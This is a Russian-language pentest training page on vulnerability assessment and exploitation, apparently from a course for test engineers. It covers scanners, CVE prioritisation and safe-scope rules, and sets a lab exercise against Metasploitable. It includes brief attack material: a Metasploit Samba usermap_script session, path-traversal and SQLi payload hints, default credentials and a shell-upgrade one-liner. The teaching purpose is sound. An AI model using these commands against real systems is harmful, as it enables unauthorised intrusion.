Перейти к основному содержимому

Оценка уязвимостей и эксплуатация

Инженеру Тестировщику

Раздел 8.10, шаг 7 из 9. Предыдущий — веб-приложения; далее — AD и сервисы.


Vulnerability assessment и exploitation

Vulnerability assessment (VA) — выявление слабых мест (сканеры, чек-листы, review конфигураций). Exploitationдоказательство, что слабость реально приводит к компромиссу (shell, чтение данных, обход auth).

VAExploitation (пентест)
ЦельСписок проблемImpact + path
ИнструментыNessus, OpenVAS, NiktoMetasploit, ручной PoC
Риск для prodСредний (скан)Выше (exploit)
ОтчётCVE + severityChain + business risk

Пентест включает VA, но не сводится к «5000 High в Nessus». Пентестер верифицирует и отбрасывает false positive.


Автоматизированная оценка

Сетевые сканеры

ИнструментТипПлюсы / минусы
NessusCommercialШирокая база plugins, отчёты для audit
OpenVAS / GreenboneOpen sourceSelf-hosted, тяжёлый
Nmap NSEScriptingЛёгкий, --script vuln шумный
NiktoWebMisconfig, не логика приложения

Запуск OpenVAS (концептуально): цель в web UI → task → report XML/PDF. В Kali часто ставят gvm или используют Nessus trial.

DAST для веба

Burp Scanner Pro, OWASP ZAP active scan, Acunetix — отправляют payloads на параметры. Находят типовые SQLi/XSS; пропускают business logic.

Scanner-only отчёт

Заказчик, принимающий «чистый» Nessus без ручной верификации, получает 30–70% false positive rate на некоторых plugin families. Пентестер обязан пройтись по Critical/High вручную.

Приоритизация CVE

При сопоставлении версий с CVE используют:

  • CVSS — базовая severity (не равна риску для вашего актива).
  • EPSS — вероятность эксплуатации в дикой среде.
  • CISA KEV — каталог actively exploited.
  • Контекст — RCE на edge vs info disclosure на dev.

Формула для заказчика: Risk = f(CVSS, exposure, asset value, exploitability, controls).


Ручная верификация

Чек-лист triage finding

  1. Версия подтверждена (не только banner)?
  2. Patch level — может быть backported patch без смены версии?
  3. Compensating controls — WAF, network ACL?
  4. PoC воспроизводится третьим лицом по шагам?
  5. Impact сформулирован для business (не «RCE» абстрактно, а «доступ к БД заказов»)?

Ручные техники без «готового exploit»

СитуацияПодход
Подозрение SQLi', sleep, UNION в Burp Repeater
Default credentialsadmin:admin, vendor docs
Path traversal../../../etc/passwd variants
Auth bypassHTTP method tampering, header X-Original-URL
DeserializationGadget chains (Java, .NET) — осторожно в prod

Exploitation — жизненный цикл

  1. Выбор вектора из threat model (не «любой Metasploit module»).
  2. Staging — payload на attacker machine (Kali).
  3. Delivery — exploit + shellcode / staged connection.
  4. Foothold — reverse shell, webshell (только lab), credentials.
  5. Stabilization — TTY, upgrade shell (python3 -c 'import pty...').
  6. Documentation — timestamp, command, hash screenshot.

Staged vs stageless payload

Metasploit часто использует staged payload: маленький stub на цели, основной код подгружается по reverse connection. Stageless — один блок; проще для AV, тяжелее для сети.

Exploit reliability

УровеньСмысл
ProofДемонстрация принципа (crash, partial read)
FunctionalСтабильный shell на lab build
WeaponizedReliable на всех патч-уровнях — редко в легальном пентесте

В отчёте указывают на какой версии проверен PoC.


Metasploit Framework — обзор

Metasploit — модульная платформа: exploits, payloads, auxiliaries, post modules.

msfconsole
search type:exploit platform:linux samba
use exploit/multi/samba/usermap_script
show options
set RHOSTS 192.168.56.101
set LHOST 192.168.56.102
run
МодульНазначение
exploitДоставка payload через уязвимость
payloadShell, meterpreter, add user
auxiliaryScan, fuzz, login brute (не exploit)
postПосле shell — hashdump, screenshot
encoderОбфускация payload (слабо vs modern AV)

Meterpreter — advanced payload: migrate process, pivot, kiwi (credentials). В enterprise AV/EDR часто детектится — для stealth используют custom payloads или in-memory техники только по ROE.

Auto-run exploit на prod

Metasploit module может положить сервис или оставить нестабильный shell. На production — ручной PoC, согласованный rollback, snapshot VM.

Альтернативы и дополнения

ToolНиша
searchsploitЛокальная копия Exploit-DB
Exploit-DBПубличные PoC
Custom Python/GoТочечный exploit под CVE
ImpacketWindows протоколы (SMB, Kerberos)
CommixCommand injection automation

Exploit chaining

Реальные компромиссы — цепочки:

External SQLi → read AWS keys from env → S3 bucket → internal config → VPN creds → AD user

В отчёте commercial level каждый hop описан + единый narrative «как атакующий дошёл до crown jewel за N часов».


Безопасная эксплуатация в scope

ПравилоДеталь
Minimal impactНе rm -rf, не mass delete
No persistenceБез backdoor после end date без согласования
Data handlingНе exfiltrate real PII; synthetic proof
CleanupУдалить webshell, test accounts
LoggingСохранить для заказчика «что мы делали»

Практическое задание

  1. Proсканируйте Metasploitable OpenVAS или nmap --script vuln; выберите 3 findings.
  2. Вручную подтвердите одну уязвимость (например, vsftpd 2.3.4 backdoor или weak SSH).
  3. Получите shell через Metasploit или ручной exploit; зафиксируйте whoami, hostname.
  4. Оформите finding: scanner said → manual steps → impact (3 абзаца).

Связанные материалы


См. также

Другие статьи этого же раздела в боковом меню (как на странице "О разделе").